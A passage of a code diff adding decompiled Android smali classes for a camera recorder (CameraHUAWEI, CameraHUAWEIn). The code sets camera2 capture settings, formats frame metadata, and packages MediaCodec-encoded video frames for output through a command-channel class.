iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->caem:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 167
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_TRIGGER:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->caft:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 168
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraHUAWEI;->access$200(Lcom/nvav/srv/recorder/CameraHUAWEI;)V
.line 171
:cond_0
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
new-instance v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;
invoke-direct {v0, p0}, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;-><init>(Lcom/nvav/srv/recorder/CameraHUAWEI$2;)V
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingThread:Ljava/lang/Thread;
.line 254
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingThread:Ljava/lang/Thread;
invoke-virtual {p1}, Ljava/lang/Thread;->start()V
.line 256
sget-boolean p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->Restarting:Z
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_1
if-eqz p1, :cond_1
const-wide/16 v0, 0xfa
.line 258
:try_start_1
invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
:try_end_1
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_0
goto :goto_0
:catch_0
move-exception p1
.line 260
:try_start_2
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 262
:goto_0
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->cafm:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 263
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->lfd:F
invoke-static {v1}, Ljava/lang/Float;->valueOf(F)Ljava/lang/Float;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
const/4 p1, 0x0
.line 264
sput-boolean p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->Restarting:Z
.line 265
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraHUAWEI;->access$200(Lcom/nvav/srv/recorder/CameraHUAWEI;)V
:try_end_2
.catch Ljava/lang/Exception; {:try_start_2 .. :try_end_2} :catch_1
goto :goto_1
:catch_1
move-exception p1
.line 268
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
:cond_1
:goto_1
return-void
.end method
.method public onReady(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 2
.line 297
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v0
invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
move-result-object p1
filled-new-array {p1}, [Ljava/lang/Object;
move-result-object p1
const-string v0, "time %d"
invoke-static {v0, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object p1
const-string v0, "CameraCaptureSession re"
invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
return-void
.end method

View File

@@ -0,0 +1,242 @@
.class Lcom/nvav/srv/recorder/CameraHUAWEI$3;
.super Landroid/hardware/camera2/CameraCaptureSession$CaptureCallback;
.source "CameraHUAWEI.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/CameraHUAWEI;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field lat:D
.field lon:D
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
.field time_out_param:J
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/CameraHUAWEI;)V
.locals 2
.line 304
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
invoke-direct {p0}, Landroid/hardware/camera2/CameraCaptureSession$CaptureCallback;-><init>()V
.line 305
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v0
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$3;->time_out_param:J
const-wide/16 v0, 0x0
.line 306
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$3;->lat:D
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$3;->lon:D
return-void
.end method
# virtual methods
.method public onCaptureCompleted(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/TotalCaptureResult;)V
.locals 7
.line 313
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide p1
iget-wide v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$3;->time_out_param:J
sub-long/2addr p1, v0
const-wide/16 v0, 0xc8
cmp-long p1, p1, v0
if-lez p1, :cond_0
.line 314
iget-wide p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$3;->lat:D
invoke-static {p1, p2}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
move-result-object v0
iget-wide p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$3;->lon:D
invoke-static {p1, p2}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
move-result-object v1
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureResult$Key;
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object v2
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureResult$Key;
.line 315
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object p1
check-cast p1, Ljava/lang/Long;
invoke-virtual {p1}, Ljava/lang/Long;->longValue()J
move-result-wide p1
const-wide/32 v3, 0x3b9aca00
div-long/2addr v3, p1
invoke-static {v3, v4}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
move-result-object v3
sget-object p1, Landroid/hardware/camera2/CaptureResult;->LENS_APERTURE:Landroid/hardware/camera2/CaptureResult$Key;
.line 316
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object v4
sget-object p1, Landroid/hardware/camera2/CaptureResult;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureResult$Key;
.line 317
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object v5
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureResult$Key;
.line 318
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object v6
filled-new-array/range {v0 .. v6}, [Ljava/lang/Object;
move-result-object p1
.line 314
const-string p2, "%f;%f;%d;%d;%.2f;%f;%d"
invoke-static {p2, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object p1
.line 319
iget-object p2, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p2, p2, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {p1}, Ljava/lang/String;->length()I
move-result p3
add-int/lit8 p3, p3, 0x1
invoke-static {p3}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
move-result-object p3
const/16 v0, 0x4d
invoke-virtual {p3, v0}, Ljava/nio/ByteBuffer;->put(B)Ljava/nio/ByteBuffer;
move-result-object p3
invoke-virtual {p1}, Ljava/lang/String;->getBytes()[B
move-result-object p1
invoke-virtual {p3, p1}, Ljava/nio/ByteBuffer;->put([B)Ljava/nio/ByteBuffer;
move-result-object p1
invoke-virtual {p1}, Ljava/nio/ByteBuffer;->array()[B
move-result-object p1
invoke-virtual {p2, p1}, Lcom/nvav/srv/recorder/Comand;->WriteOut([B)I
.line 320
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide p1
iput-wide p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$3;->time_out_param:J
:cond_0
return-void
.end method
.method public onCaptureFailed(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/CaptureFailure;)V
.locals 0
return-void
.end method
.method public onCaptureProgressed(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/CaptureResult;)V
.locals 0
.line 327
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide p1
invoke-static {p1, p2}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
move-result-object p1
filled-new-array {p1}, [Ljava/lang/Object;
move-result-object p1
const-string p2, "time %d"
invoke-static {p2, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object p1
const-string p2, "CameraCaptureSession pr"
invoke-static {p2, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
return-void
.end method
.method public onCaptureSequenceAborted(Landroid/hardware/camera2/CameraCaptureSession;I)V
.locals 0
return-void
.end method
.method public onCaptureSequenceCompleted(Landroid/hardware/camera2/CameraCaptureSession;IJ)V
.locals 0
return-void
.end method
.method public onCaptureStarted(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;JJ)V
.locals 0
return-void
.end method

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,40 @@
.class public final synthetic Lcom/nvav/srv/recorder/CameraHUAWEIn$$ExternalSyntheticLambda0;
.super Ljava/lang/Object;
.source "D8$$SyntheticClass"
# interfaces
.implements Ljava/util/function/Predicate;
# instance fields
.field public final synthetic f$0:Ljava/lang/String;
# direct methods
.method public synthetic constructor <init>(Ljava/lang/String;)V
.locals 0
.line 0
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$$ExternalSyntheticLambda0;->f$0:Ljava/lang/String;
return-void
.end method
# virtual methods
.method public final test(Ljava/lang/Object;)Z
.locals 1
.line 0
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$$ExternalSyntheticLambda0;->f$0:Ljava/lang/String;
check-cast p1, Ljava/lang/String;
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->$r8$lambda$7lpm9zkoZuDoAjfOA0iYE2U94XQ(Ljava/lang/String;Ljava/lang/Object;)Z
move-result p1
return p1
.end method

View File

@@ -0,0 +1,488 @@
.class Lcom/nvav/srv/recorder/CameraHUAWEIn$1;
.super Landroid/media/MediaCodec$Callback;
.source "CameraHUAWEIn.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/CameraHUAWEIn;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/CameraHUAWEIn;)V
.locals 0
.line 69
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
invoke-direct {p0}, Landroid/media/MediaCodec$Callback;-><init>()V
return-void
.end method
# virtual methods
.method public onError(Landroid/media/MediaCodec;Landroid/media/MediaCodec$CodecException;)V
.locals 0
.line 147
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string p2, "result=MediaCodecf onError."
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
return-void
.end method
.method public onInputBufferAvailable(Landroid/media/MediaCodec;I)V
.locals 0
return-void
.end method
.method public onOutputBufferAvailable(Landroid/media/MediaCodec;ILandroid/media/MediaCodec$BufferInfo;)V
.locals 9
const/4 p1, 0x1
.line 78
:try_start_0
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {v0, p2}, Landroid/media/MediaCodec;->getOutputBuffer(I)Ljava/nio/ByteBuffer;
move-result-object v0
if-eqz v0, :cond_3
.line 80
iget v1, p3, Landroid/media/MediaCodec$BufferInfo;->size:I
if-eqz v1, :cond_3
.line 81
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget v2, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->outbyte:I
iget v3, p3, Landroid/media/MediaCodec$BufferInfo;->size:I
add-int/2addr v2, v3
iput v2, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->outbyte:I
.line 82
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-short v2, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->outFPS:S
add-int/2addr v2, p1
int-to-short v2, v2
iput-short v2, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->outFPS:S
.line 83
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v1
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-wide v3, v3, Lcom/nvav/srv/recorder/CameraHUAWEIn;->timebyte:J
sub-long/2addr v1, v3
const-wide/16 v3, 0x3e8
cmp-long v1, v1, v3
const/16 v2, 0x8
const/4 v3, 0x0
if-lez v1, :cond_0
.line 84
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
const/16 v4, 0xb
invoke-static {v4}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
move-result-object v4
invoke-virtual {v4, v2}, Ljava/nio/ByteBuffer;->put(B)Ljava/nio/ByteBuffer;
move-result-object v4
iget-object v5, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-short v5, v5, Lcom/nvav/srv/recorder/CameraHUAWEIn;->outFPS:S
invoke-virtual {v4, v5}, Ljava/nio/ByteBuffer;->putShort(S)Ljava/nio/ByteBuffer;
move-result-object v4
iget-object v5, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget v5, v5, Lcom/nvav/srv/recorder/CameraHUAWEIn;->outbyte:I
invoke-virtual {v4, v5}, Ljava/nio/ByteBuffer;->putInt(I)Ljava/nio/ByteBuffer;
move-result-object v4
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v5
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-wide v7, v7, Lcom/nvav/srv/recorder/CameraHUAWEIn;->timebyte:J
sub-long/2addr v5, v7
long-to-int v5, v5
invoke-virtual {v4, v5}, Ljava/nio/ByteBuffer;->putInt(I)Ljava/nio/ByteBuffer;
move-result-object v4
invoke-virtual {v4}, Ljava/nio/ByteBuffer;->array()[B
move-result-object v4
invoke-virtual {v1, v4}, Lcom/nvav/srv/recorder/Comand;->WriteOut([B)I
.line 85
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iput v3, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->outbyte:I
.line 86
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iput-short v3, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->outFPS:S
.line 87
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v4
iput-wide v4, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->timebyte:J
.line 89
:cond_0
iget v1, p3, Landroid/media/MediaCodec$BufferInfo;->offset:I
invoke-virtual {v0, v1}, Ljava/nio/ByteBuffer;->position(I)Ljava/nio/Buffer;
.line 90
iget v1, p3, Landroid/media/MediaCodec$BufferInfo;->offset:I
iget v4, p3, Landroid/media/MediaCodec$BufferInfo;->size:I
add-int/2addr v1, v4
invoke-virtual {v0, v1}, Ljava/nio/ByteBuffer;->limit(I)Ljava/nio/Buffer;
.line 91
iget v1, p3, Landroid/media/MediaCodec$BufferInfo;->size:I
new-array v1, v1, [B
.line 92
invoke-virtual {v0, v1}, Ljava/nio/ByteBuffer;->get([B)Ljava/nio/ByteBuffer;
.line 93
iget v0, p3, Landroid/media/MediaCodec$BufferInfo;->flags:I
:try_end_0
.catch Ljava/lang/ArithmeticException; {:try_start_0 .. :try_end_0} :catch_3
.catch Ljava/lang/IllegalStateException; {:try_start_0 .. :try_end_0} :catch_2
const/4 v4, 0x3
const/4 v5, 0x2
if-ne v0, v5, :cond_1
.line 95
:try_start_1
new-instance p3, Ljava/io/ByteArrayOutputStream;
invoke-direct {p3}, Ljava/io/ByteArrayOutputStream;-><init>()V
.line 96
invoke-virtual {p3, v4}, Ljava/io/ByteArrayOutputStream;->write(I)V
.line 97
invoke-virtual {p3, v5}, Ljava/io/ByteArrayOutputStream;->write(I)V
.line 98
invoke-virtual {p3, v1}, Ljava/io/ByteArrayOutputStream;->write([B)V
.line 99
invoke-virtual {p3}, Ljava/io/ByteArrayOutputStream;->flush()V
.line 100
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
invoke-virtual {p3}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
move-result-object v1
invoke-static {v0, v1}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$002(Lcom/nvav/srv/recorder/CameraHUAWEIn;[B)[B
.line 101
invoke-virtual {p3}, Ljava/io/ByteArrayOutputStream;->close()V
:try_end_1
.catch Ljava/io/IOException; {:try_start_1 .. :try_end_1} :catch_0
.catch Ljava/lang/ArithmeticException; {:try_start_1 .. :try_end_1} :catch_3
.catch Ljava/lang/IllegalStateException; {:try_start_1 .. :try_end_1} :catch_2
goto/16 :goto_1
:catch_0
move-exception p3
.line 103
:try_start_2
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p3}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
:try_end_2
.catch Ljava/lang/ArithmeticException; {:try_start_2 .. :try_end_2} :catch_3
.catch Ljava/lang/IllegalStateException; {:try_start_2 .. :try_end_2} :catch_2
goto/16 :goto_1
.line 107
:cond_1
:try_start_3
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$108(Lcom/nvav/srv/recorder/CameraHUAWEIn;)I
.line 108
new-instance v0, Ljava/io/ByteArrayOutputStream;
invoke-direct {v0}, Ljava/io/ByteArrayOutputStream;-><init>()V
.line 109
invoke-virtual {v0, v4}, Ljava/io/ByteArrayOutputStream;->write(I)V
.line 110
iget p3, p3, Landroid/media/MediaCodec$BufferInfo;->flags:I
if-ne p3, p1, :cond_2
.line 111
iget-object p3, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
invoke-static {p3}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$100(Lcom/nvav/srv/recorder/CameraHUAWEIn;)I
move-result v2
iput v2, p3, Lcom/nvav/srv/recorder/CameraHUAWEIn;->endkey:I
.line 112
iget-object p3, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p3, p3, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
invoke-static {v2}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$000(Lcom/nvav/srv/recorder/CameraHUAWEIn;)[B
move-result-object v2
invoke-virtual {p3, v2}, Lcom/nvav/srv/recorder/Comand;->WriteOut([B)I
.line 113
invoke-virtual {v0, p1}, Ljava/io/ByteArrayOutputStream;->write(I)V
const/4 p3, 0x4
.line 114
invoke-static {p3}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
move-result-object p3
.line 115
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget v2, v2, Lcom/nvav/srv/recorder/CameraHUAWEIn;->endkey:I
invoke-virtual {p3, v2}, Ljava/nio/ByteBuffer;->putInt(I)Ljava/nio/ByteBuffer;
.line 116
invoke-virtual {p3}, Ljava/nio/ByteBuffer;->array()[B
move-result-object p3
invoke-virtual {v0, p3}, Ljava/io/ByteArrayOutputStream;->write([B)V
goto :goto_0
.line 118
:cond_2
invoke-virtual {v0, v3}, Ljava/io/ByteArrayOutputStream;->write(I)V
.line 119
invoke-static {v2}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
move-result-object p3
.line 120
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
invoke-static {v2}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$100(Lcom/nvav/srv/recorder/CameraHUAWEIn;)I
move-result v2
invoke-virtual {p3, v2}, Ljava/nio/ByteBuffer;->putInt(I)Ljava/nio/ByteBuffer;
.line 121
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget v2, v2, Lcom/nvav/srv/recorder/CameraHUAWEIn;->endkey:I
invoke-virtual {p3, v2}, Ljava/nio/ByteBuffer;->putInt(I)Ljava/nio/ByteBuffer;
.line 122
invoke-virtual {p3}, Ljava/nio/ByteBuffer;->array()[B
move-result-object p3
invoke-virtual {v0, p3}, Ljava/io/ByteArrayOutputStream;->write([B)V
.line 124
:goto_0
invoke-virtual {v0, v1}, Ljava/io/ByteArrayOutputStream;->write([B)V
.line 125
invoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->flush()V
.line 126
iget-object p3, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p3, p3, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
move-result-object v1
invoke-virtual {p3, v1}, Lcom/nvav/srv/recorder/Comand;->WriteOut([B)I
.line 127
invoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->close()V
:try_end_3
.catch Ljava/io/IOException; {:try_start_3 .. :try_end_3} :catch_1
.catch Ljava/lang/ArithmeticException; {:try_start_3 .. :try_end_3} :catch_3
.catch Ljava/lang/IllegalStateException; {:try_start_3 .. :try_end_3} :catch_2
goto :goto_1
:catch_1
move-exception p3
.line 129
:try_start_4
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p3}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 134
:cond_3
:goto_1
iget-object p3, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p3, p3, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
